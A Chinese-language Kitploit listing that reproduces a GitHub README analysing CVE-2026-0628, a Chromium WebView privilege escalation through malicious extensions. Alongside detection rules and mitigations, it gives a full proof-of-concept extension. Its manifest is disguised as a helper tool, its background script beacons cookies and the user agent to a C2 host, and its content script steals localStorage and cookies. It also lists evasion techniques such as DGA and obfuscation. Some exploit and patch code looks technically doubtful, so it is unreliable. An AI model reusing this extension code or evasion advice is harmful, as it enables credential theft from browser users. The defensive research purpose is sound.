Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — CVE-2026-0628(Chromium WebView 权限提升漏洞)的技术剖析,包括根本原因分析、PoC 漏洞利用、检测规则及缓解策略。 | Kitploit
工具/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
权限提升漏洞分析漏洞利用Web安全恶意软件分析数字取证
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

CVE-2026-0628(Chromium WebView 权限提升漏洞)的技术剖析,包括根本原因分析、PoC 漏洞利用、检测规则及缓解策略。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库网站
16个月前尚未审核

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X

root@kitploit:~

README.md


# **CVE-2026-0628:Chromium WebView 权限提升(源欺骗)——技术研究与概念验证**

**作者:** Sastra Adi Wiguna(Purple Elite Teaming)
**研究日期:** 2026年1月
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8(高危)
**受影响版本:** Chromium < 143.0.7499.192
**补丁状态:** 已在 Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139 中修复

---

## **1. 概述**

### **1.1 研究目的**
本仓库记录了 **CVE-2026-0628**,这是 Chromium WebView 策略执行机制中的一个**高危权限提升漏洞**。该漏洞允许恶意扩展程序**绕过沙箱限制**、向**特权上下文**(例如 `chrome://`)注入脚本,并**提升权限**以执行任意代码。

本研究**仅用于防御性安全目的**,包括:
- **漏洞分析**
- **检测工程**
- **缓解策略制定**
- **渗透测试(仅限授权环境)**

### **1.2 免责声明**
- **严格用于学术和防御性研究。**
- **未经授权不得用于生产系统。**
- **遵守所有适用法律和组织安全策略。**
- **立即修补:** Chrome ≥143.0.7499.192、Edge ≥143.0.3650.139。

---

## **2. 技术分析**

### **2.1 根本原因**
Chromium WebView 实现中的**策略执行不足**允许扩展程序**逃逸沙箱边界**并访问**特权 DOM 上下文**。

**漏洞流程:**
1. 恶意扩展程序在 `manifest.json` 中声明 WebView 的使用。
2. 扩展程序通过 `<webview>` 标签注入精心构造的 HTML/JS 载荷。
3. **WebView 策略验证绕过** → 访问特权页面(例如 `chrome://settings`)。
4. 在特权上下文中**执行任意脚本**。

**CVSS 向量:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 漏洞利用架构**
#### **恶意扩展程序模板**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

关键注入向量(payload.js)

root@kitploit:~
class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // 关键绕过参数
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. 影响评估


4. 检测与取证

4.1 恶意扩展程序的 YARA 规则

root@kitploit:~
rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Sysmon 事件特征

  • 事件 ID 1: chrome.exe → 可疑的 WebView 创建。
  • 事件 ID 3: 网络连接 → 扩展程序 → 外部 C2。
  • 注册表: HKCU\Software\Google\Chrome\Extensions\[malicious_id]。

5. 补丁分析与绕过向量

5.1 修复版本差异(Chrome 143.0.7499.192+)

root@kitploit:~
// 存在漏洞(pre-143.0.7499.192)
if (webview.src.startsWith('chrome://')) {
  return false; // 弱策略检查
}

// 已修复
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy 加固
  }
}

5.2 缓解措施实施

企业 GPO 模板

root@kitploit:~
{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

运行时检测脚本(PowerShell)

root@kitploit:~
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. 概念验证(PoC)漏洞利用

6.1 目录结构

root@kitploit:~
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 核心文件

manifest.json(绕过清单)

root@kitploit:~
{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js(持久化与 C2 信标)

root@kitploit:~
chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js(WebView 触发与注入)

root@kitploit:~
(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

7. 实验室复现

7.1 要求

  • 存在漏洞的 Chrome: 143.0.7499.191
  • 操作系统: Windows 10/11(建议使用虚拟机)
  • 工具: Burp Suite(代理)、REMnux(取证)

7.2 步骤

  1. 下载 Chrome 143.0.7499.191(存在漏洞的版本)。
  2. 使用以下标志启动:
    root@kitploit:~
    chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
    
  3. 加载扩展程序:
    • 导航至 chrome://extensions/。
    • 启用开发者模式。
    • 点击加载已解压的扩展程序 → 选择 cve-2026-0628-poc/。
  4. 触发漏洞利用:
    • 导航至 chrome://new-tab-page/。
    • 在 DevTools 中观察 WebView 的创建。
  5. 监控流量:
    • Burp Suite(localhost:8080)→ 捕获向 C2 的外泄数据。
  6. 验证成功:
    • 网络标签页 → 向 your-c2-server.com 发送信标。
    • 控制台:"CVE-2026-0628 OWNED"。

8. 检测规避技术

  • 隐写术: 将外泄数据编码到图像像素中。
  • 域名生成算法: 使用 DGA 进行 C2 轮换。
  • 定时攻击: 安装后延迟 5-30 秒执行。
  • 清单混淆: 对敏感字符串进行 Base64 编码。

9. 缓解与补丁工作流程

  • 立即行动: 将 Chrome/Edge 更新至已修补版本。
  • 企业 GPO:
    root@kitploit:~
    {
      "ExtensionInstallBlacklist": ["*"],
      "WebViewRestrictions": {
        "DisableWebView": true,
        "BlockNodeIntegration": true
      }
    }
    
  • 运行时检测:
    root@kitploit:~
    # 扫描恶意扩展程序
    Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
      Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
    

10. 取证分析

10.1 Volatility3 命令

root@kitploit:~
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/

10.2 内存转储的 YARA 规则

root@kitploit:~
rule CVE_2026_0628_Mojo_Origin_Spoof {
  strings:
    $mojo_hdr = { 4D 6F 6A 6F }
    $chrome_origin = "chrome://new-tab-page/"
    $webview_sig = "WebViewPolicyValidator"
  condition:
    all of them
}

11. 结论

11.1 主要发现

  • CVE-2026-0628 可通过 WebView 策略绕过实现权限提升。
  • 影响: 会话劫持、凭据窃取、横向移动。
  • 缓解措施: 修补 Chrome/Edge、强制执行 GPO 限制、监控恶意扩展程序。

11.2 建议

  • 立即修补至 Chrome ≥143.0.7499.192 或 Edge ≥143.0.3650.139。
  • 部署 YARA/Sysmon 规则用于检测。
  • 通过企业 GPO 限制扩展程序。
  • 开展红队演练以验证防御措施。

12. 法律与道德考量

  • 仅限授权使用。
  • 未经明确许可不得在生产环境中部署。
  • 向供应商负责任地报告漏洞。

联系方式: 如有防御性安全问题,请通过 GitHub Issues 联系作者。


© 2026 Sastra Adi Wiguna. 保留所有权利。

root@kitploit:~
下载工具
攻击阶段技术影响业务影响CVSS 指标
扩展程序安装用户同意 → 持久化社会工程学向量UI:R(必需)
WebView 绕过沙箱逃逸 → 特权上下文会话劫持S:U → C:H/I:H/A:H
脚本注入DOM 操纵 → 数据外泄凭据窃取PR:N(无需权限)
持久化后台脚本 → C2 信标横向移动准备AC:L(低复杂度)